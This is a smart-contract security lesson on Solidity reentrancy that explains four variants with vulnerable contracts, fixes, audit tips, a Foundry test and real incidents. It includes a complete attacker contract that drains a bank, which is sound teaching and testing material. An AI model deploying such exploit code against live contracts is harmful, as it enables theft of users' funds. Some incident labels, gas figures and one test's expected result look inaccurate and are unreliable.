Reentrancy Attacks
Reentrancy is the oldest and most infamous vulnerability class in smart contract security. The DAO hack of 2016 drained $60 million and split Ethereum into two chains. Today, reentrancy attacks have evolved into four distinct forms — each requiring a different mental model to detect and prevent. If you master this one topic, you will catch bugs that cost protocols tens of millions of dollars.
Reentrancy attacks have stolen over $1 billion from smart contracts. New variants appear regularly — read-only reentrancy was unknown to most auditors until 2022 and cost Curve Finance $70M. This lesson covers all four types.
The Core Problem: External Calls Before State Updates
Reentrancy happens when a contract makes an external call to an untrusted address before it finishes updating its own state. The called contract can call back into the original contract, which still sees the old (unupdated) state and proceeds as if nothing happened. This lets an attacker execute the same privileged operation repeatedly before any accounting is updated.
Type 1: Simple Reentrancy
The classic form. A withdraw function sends ETH before zeroing the user's balance. The recipient contract's receive() function immediately calls withdraw() again, and since the balance hasn't been set to zero yet, the check passes again.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
// VULNERABLE: External call happens before state update
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "Nothing to withdraw");
// ❌ DANGER: External call BEFORE state update
// The recipient's receive() can call back into this function
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// ❌ This line is NEVER reached during the attack
balances[msg.sender] = 0;
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}contract ReentrancyAttacker {
VulnerableBank public immutable target;
uint256 public attackCount;
constructor(address _target) {
target = VulnerableBank(_target);
}
// Step 1: Deposit 1 ETH to get a legitimate balance
function attack() external payable {
require(msg.value >= 1 ether, "Need at least 1 ETH");
target.deposit{value: 1 ether}();
// Step 2: Trigger the first withdraw — this starts the loop
target.withdraw();
}
// Step 3: This is called every time ETH arrives at this contract
// The bank sends ETH → receive() triggers → withdraw again → repeat
receive() external payable {
attackCount++;
// Stop after draining enough to avoid infinite loop / out of gas
if (address(target).balance >= 1 ether) {
target.withdraw(); // ← RE-ENTER before balance is zeroed
}
}
function collectStolenFunds() external {
(bool ok, ) = msg.sender.call{value: address(this).balance}("");
require(ok);
}
}Simple Reentrancy: Step-by-Step Exploit Flow
- Setup: Attacker deploys
ReentrancyAttackerpointing atVulnerableBank(which holds 10 ETH from legitimate users). - Deposit: Attacker calls
attack()with 1 ETH. Bank recordsbalances[attacker] = 1 ETH. - First withdraw: Bank checks balance (1 ETH ✓), sends 1 ETH via
.call(). - Reentrance: ETH arrives at
ReentrancyAttacker, triggeringreceive(). The attacker immediately callswithdraw()again. - State not updated: Bank checks balance — it still shows 1 ETH because
balances[msg.sender] = 0hasn't run yet. Bank sends another 1 ETH. - Loop repeats: This continues until the bank is empty or gas runs out.
- Result: Attacker invested 1 ETH and drained all 10 ETH from the bank.
Type 2: Cross-Function Reentrancy
The nonReentrant modifier on withdraw() alone is not enough if another function shares the same state. An attacker can re-enter through a different function that also reads the un-updated balance.
contract CrossFunctionVulnerable {
mapping(address => uint256) public balances;
mapping(address => address) public approvals;
// This function IS protected by reentrancy guard
function withdraw() external nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0);
// ETH sent here — but balance not zeroed yet
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok);
balances[msg.sender] = 0; // Too late!
}
// ❌ This function is NOT protected — shares same balance mapping
// Attacker re-enters here from receive() to transfer stale balance
function transfer(address to, uint256 amount) external {
require(balances[msg.sender] >= amount, "Insufficient balance");
balances[msg.sender] -= amount;
balances[to] += amount;
}
}In this pattern, the attacker calls withdraw() — the nonReentrant lock engages — then their receive() calls transfer() (not protected) to move their still-non-zero balance to an accomplice address. After withdraw() finishes and zeros the attacker's balance, the transferred amount remains in the accomplice account. Effective double spend.
Type 3: Cross-Contract Reentrancy
Two separate contracts share state. Attacking Contract A during execution triggers a callback that corrupts Contract B's view of the shared state.
contract LendingPool {
mapping(address => uint256) public collateral;
RewardDistributor public rewards;
function withdrawCollateral(uint256 amount) external {
require(collateral[msg.sender] >= amount);
// ❌ Sends ETH before updating collateral — re-enterable
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok);
collateral[msg.sender] -= amount; // Too late!
}
}
contract RewardDistributor {
LendingPool public pool;
// Reads collateral from LendingPool to calculate rewards
function claimRewards() external {
// Attacker re-enters here during withdrawCollateral
// pool.collateral[attacker] still shows full amount → huge rewards
uint256 reward = pool.collateral[msg.sender] * 2;
// Pays out inflated reward based on stale state
_mintRewards(msg.sender, reward);
}
}Type 4: Read-Only Reentrancy
The most sophisticated variant. A view function is called during a contract's execution before its state is fully updated. The view function returns stale data, which an attacker uses to manipulate a dependent protocol's pricing. No funds leave the original contract — but a second protocol is tricked.
// Protocol A: Curve-like pool with a get_virtual_price() view function
contract CurvePool {
uint256 public totalSupply;
uint256 public totalAssets;
function removeLiquidity(uint256 shares) external {
uint256 payout = (shares * totalAssets) / totalSupply;
totalSupply -= shares; // ← Updated first
// ❌ Assets not yet updated when ETH callback fires
(bool ok, ) = msg.sender.call{value: payout}("");
require(ok);
totalAssets -= payout; // ← Updated AFTER external call
}
// This view is called by Protocol B to get LP token price
// During the callback: totalSupply is reduced but totalAssets is NOT
// Result: price appears INFLATED — ratio is wrong
function get_virtual_price() external view returns (uint256) {
return (totalAssets * 1e18) / totalSupply; // STALE during callback!
}
}
// Protocol B: Lending protocol that reads CurvePool price as collateral value
contract LendingProtocol {
CurvePool public pool;
function borrow(uint256 borrowAmount) external {
// ❌ Reads stale inflated price during attacker's receive() callback
uint256 collateralPrice = pool.get_virtual_price();
uint256 collateralValue = lpTokenBalance[msg.sender] * collateralPrice / 1e18;
require(collateralValue >= borrowAmount * 2, "Undercollateralized");
// Issues loan based on manipulated collateral value
_issueLoan(msg.sender, borrowAmount);
}
}Read-only reentrancy exploited the Curve Finance ecosystem in 2023 for approximately $70M. The attack pattern: remove liquidity from a Curve pool (triggering ETH callback), during the callback call get_virtual_price() through a lending protocol, observe the inflated price, borrow against over-valued LP tokens, pocket the excess.
The Fix: Checks-Effects-Interactions Pattern
The fundamental defense is ordering. Always complete all state changes (Effects) before making any external calls (Interactions). Check preconditions first (Checks). This ordering ensures that any reentrant call sees the already-updated state and cannot exploit stale values.
contract SecureBank {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
// ✅ CHECKS — Validate preconditions
uint256 amount = balances[msg.sender];
require(amount > 0, "Nothing to withdraw");
// ✅ EFFECTS — Update ALL state before any external call
balances[msg.sender] = 0; // ← Zeroed BEFORE sending ETH
// ✅ INTERACTIONS — External call happens last
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// If attacker re-enters now, balance is already 0 — require fails
}
}ReentrancyGuard: Internals and Limitations
OpenZeppelin's ReentrancyGuard uses a storage slot as a lock. When a nonReentrant function is entered, it sets the status to "entered." Any reentrant call finds the status already set and reverts. Here is how it works internally:
abstract contract ReentrancyGuard {
uint256 private constant NOT_ENTERED = 1;
uint256 private constant ENTERED = 2;
uint256 private _status;
constructor() {
_status = NOT_ENTERED;
}
modifier nonReentrant() {
// First call: _status is NOT_ENTERED (1) — passes
// Re-entrant call: _status is ENTERED (2) — reverts
require(_status != ENTERED, "ReentrancyGuard: reentrant call");
_status = ENTERED;
_; // Function body executes here
_status = NOT_ENTERED; // Reset after function completes
}
}
// Note: nonReentrant uses ~2300 gas for the two storage writes
// OZ v4.9+ uses transient storage (EIP-1153) to reduce this cost
// ⚠️ LIMITATION: nonReentrant must be on ALL functions sharing state
// Cross-function reentrancy bypasses a guard on just one function
contract PartiallyProtected is ReentrancyGuard {
function withdraw() external nonReentrant { /* protected */ }
function transfer(address to) external { /* ❌ NOT protected — attack vector */ }
}Pull Payment Pattern
Instead of pushing funds to recipients (which requires external calls), let recipients pull their own funds. This eliminates reentrancy from payout functions entirely because the contract never initiates the ETH transfer — the user does.
contract PullPaymentAuction {
address public highestBidder;
uint256 public highestBid;
mapping(address => uint256) public pendingReturns;
function bid() external payable {
require(msg.value > highestBid, "Bid too low");
// ✅ Store the refund — don't push it immediately
// Old bidder's refund is queued, not sent
if (highestBidder != address(0)) {
pendingReturns[highestBidder] += highestBid;
}
highestBidder = msg.sender;
highestBid = msg.value;
}
// ✅ Users pull their own refunds — no reentrancy risk
function withdraw() external {
uint256 amount = pendingReturns[msg.sender];
require(amount > 0, "Nothing to withdraw");
pendingReturns[msg.sender] = 0; // Effect before interaction
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "Withdraw failed");
}
}Detection Techniques
When auditing code, systematically look for these patterns in every function that performs external calls:
| Pattern to Find | Where to Look | Risk Level |
|---|---|---|
.call{value:}() before state update | Any withdraw/payout function | Critical |
transfer() to user-controlled address | Token distributions | High |
| External contract call before zeroing | Flash loan callbacks | Critical |
| View functions reading mid-transaction state | Oracle integrations | High |
| Missing nonReentrant on related functions | Functions sharing mappings | High |
| Callbacks (onFlashLoan, onERC721Received) | ERC callbacks | High |
When auditing, grep for .call( and .call{value across the entire codebase. For every hit, check: (1) is the called address trusted? (2) are all state changes complete before this line? (3) is this function fully re-entrant safe? If any answer is uncertain, flag it.
Foundry Test: Exploit and Fixed Versions
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "./VulnerableBank.sol";
import "./SecureBank.sol";
import "./ReentrancyAttacker.sol";
contract ReentrancyTest is Test {
VulnerableBank public vulnBank;
SecureBank public secureBank;
ReentrancyAttacker public attacker;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
function setUp() public {
vulnBank = new VulnerableBank();
secureBank = new SecureBank();
// Seed bank with 10 ETH from legitimate users
vm.deal(alice, 10 ether);
vm.deal(bob, 10 ether);
vm.prank(alice);
vulnBank.deposit{value: 5 ether}();
vm.prank(bob);
vulnBank.deposit{value: 5 ether}();
}
/// @notice Demonstrates that the vulnerable bank CAN be drained
function test_reentrancyExploit() public {
attacker = new ReentrancyAttacker(address(vulnBank));
vm.deal(address(attacker), 1 ether);
uint256 bankBefore = address(vulnBank).balance;
attacker.attack{value: 1 ether}();
// Assert bank was drained below legitimate deposit amount
assertLt(address(vulnBank).balance, bankBefore, "Bank should be drained");
assertGt(address(attacker).balance, 1 ether, "Attacker profited");
}
/// @notice Demonstrates that the secure bank CANNOT be re-entered
function test_secureBank_preventsReentrancy() public {
ReentrancyAttacker secureAttacker = new ReentrancyAttacker(address(secureBank));
vm.deal(address(secureAttacker), 2 ether);
secureAttacker.attack{value: 1 ether}();
// Attacker gets back exactly their 1 ETH deposit — nothing extra
assertEq(secureAttacker.attackCount(), 1, "Only one withdrawal should succeed");
}
}Real-World Exploits
| Protocol | Year | Loss | Variant | Root Cause |
|---|---|---|---|---|
| The DAO | 2016 | $60M | Simple | ETH transfer before balance update in splitDAO() |
| Lendf.me | 2020 | $25M | Cross-function | ERC777 callback allowed reentrance into deposit during withdraw |
| Cream Finance | 2021 | $18.8M | Cross-contract | ERC77 token allowed reentrant borrow during collateral update |
| Curve/Vyper | 2023 | $70M | Read-only | Compiler bug caused reentrancy guard to fail; get_virtual_price() returned stale data |
| Fei Protocol | 2022 | $80M | Cross-contract | Custom nonReentrant not applied to all entry points in lending market |
Key Takeaways
- Always follow Checks-Effects-Interactions: Zero or update all state variables before any
.call(),transfer(), or external function invocation. - Apply nonReentrant to all related functions: Partial protection creates cross-function reentrancy opportunities. If two functions share a balance mapping, both need the guard.
- Consider read-only reentrancy: View functions that return pricing or state data can be exploited if called during mid-execution of another contract. TWAP prices and multi-block averages are safer than spot reads.
- Prefer pull payments over push payments: Letting users withdraw their own funds eliminates the attack surface entirely for payout logic.
- Trust no external call: ERC20 tokens, NFT contracts, and any user-supplied address can have arbitrary
receive()or callback logic. Assume every external call is hostile. - Use Slither and Echidna: Slither's
reentrancy-ethandreentrancy-no-ethdetectors catch the classic forms automatically. Echidna can fuzz for reentrancy in property-based tests.
Read-Only Reentrancy in Detail
Read-only reentrancy is one of the most subtle reentrancy variants. It occurs when a view function returns an inconsistent value during a reentrancy context — because an external contract calls the view function mid-execution before internal state is updated. Protocols that read price/balance data from another protocol can be exploited if that protocol's state is temporarily inconsistent during a callback.
// Curve pools have a get_virtual_price() function used as an oracle
// During ETH withdrawal callbacks, get_virtual_price() returns stale value
// ❌ VULNERABLE: External protocol uses Curve as oracle without guard
contract VulnerableLender {
ICurvePool curvePool;
function getCollateralValue() public view returns (uint256) {
// get_virtual_price() can return inflated value during Curve's ETH callback
return curvePool.get_virtual_price() * lpTokenBalance;
}
function borrow(uint256 amount) external {
// Uses getCollateralValue() which reads from Curve mid-reentrancy
require(getCollateralValue() >= amount * 150 / 100, "Undercollateralized");
_sendFunds(msg.sender, amount);
}
}
// Attack flow:
// 1. Attacker deposits LP tokens as collateral in VulnerableLender
// 2. Attacker calls remove_liquidity_one_coin() on Curve (ETH withdrawal)
// 3. Curve sends ETH to attacker's fallback function
// 4. In fallback: attacker calls VulnerableLender.borrow()
// 5. getCollateralValue() reads get_virtual_price() — still shows old inflated value
// 6. Attacker borrows against artificially high collateral value
// 7. Curve completes ETH transfer, price normalizes, attacker is now undercollateralized
// ✅ FIX: Read oracle values before any external calls, or use snapshot-based oracles
contract ProtectedLender is ReentrancyGuard {
function borrow(uint256 amount) external nonReentrant {
// nonReentrant prevents mid-reentrancy reads on this contract's functions
// Also ensures price read is from a stable (non-mid-callback) state
require(getCollateralValue() >= amount * 150 / 100);
_sendFunds(msg.sender, amount);
}
}Transient Storage and Reentrancy Guards (EIP-1153)
EIP-1153 introduced transient storage (tstore/tload) in Cancun. Transient storage is automatically cleared at the end of each transaction, making it ideal for reentrancy locks — cheaper than a regular SSTORE (100 gas vs 20,000 for first write) and automatically reset without cleanup code.
contract TransientReentrancyGuard {
// Transient storage slot for the lock flag
uint256 private constant REENTRANCY_SLOT = uint256(keccak256("reentrancy.guard"));
modifier nonReentrantTransient() {
assembly {
if tload(REENTRANCY_SLOT) { revert(0, 0) }
tstore(REENTRANCY_SLOT, 1) // Lock
}
_;
assembly {
tstore(REENTRANCY_SLOT, 0) // Unlock (optional — clears at tx end anyway)
}
}
// Gas cost: ~100 gas per lock/unlock vs ~20,000 for storage-based guard
}Key Takeaways
- The Checks-Effects-Interactions pattern is the primary reentrancy defense — update all internal state before making any external calls or sending ETH.
- OpenZeppelin's
ReentrancyGuardis a reliable safety net but should be used alongside CEI, not instead of it — a locked function that violates CEI can still have logic bugs. - Cross-function and cross-contract reentrancy can bypass per-function locks — use a shared reentrancy guard across all functions that share state.
- Read-only reentrancy attacks exploit inconsistent state during ETH callbacks — protocols that use other protocols as oracles must account for this.
- The DAO hack ($60M in 2016) and Curve/Vyper vulnerability ($70M in 2023) demonstrate that reentrancy remains relevant across Solidity versions and compiler changes.
- Post-Cancun transient storage (
tstore/tload) enables cheaper reentrancy guards (100 gas vs 20,000 gas) that auto-clear at transaction end.